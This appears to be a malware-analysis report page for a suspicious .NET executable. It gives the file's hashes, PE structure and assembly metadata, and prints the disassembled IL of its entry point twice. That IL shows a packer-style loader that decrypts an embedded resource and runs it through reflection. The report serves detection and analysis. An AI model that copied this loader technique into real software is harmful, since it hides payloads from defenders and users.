Suspicious
Suspect

a3db22547419f693905d3dd045ee9f84

Share on LinkedIn
Print
PE Executable
MD5: a3db22547419f693905d3dd045ee9f84
Size: 342.02 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 a3db22547419f693905d3dd045ee9f84
Sha1 30bc73c6672e6c46d21086a04762ce4170fd4e99
Sha256 9a7fdfd933725c6cc3345da81b6ee2d6903e225f961aa18efa5b5a9447f4b015
Sha384 2055fa9437b1c3fa2d70e14e001179c2cff74b205b25fd8cab4c687f2e38ff8f3c999859f11d18852dfae8fd73976e7e
Sha512 b26ab83f217240825adc241bba3cda9ec5532d7aee6ba73fbd3ce0696a643c7aee10a7b2e2bff0c388300c1b251ef69e9f222e4d987c306856fac4c6eeb7dd53
SSDeep 6144:Q7D28gMOVSheJGlkR7/E03JClJXI9QzeLWsw1BhaaV7PaCSfA9W6JD2J:Q7D2okagZ603oJiQzcWb1rvV7b3
TLSH D674230BAF946018E72D0D3F61BA429C05F4DE5F416BF5C77ACC627A1A3628D0253AED
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
a3db22547419f693905d3dd045ee9f84
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Data
Painting
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙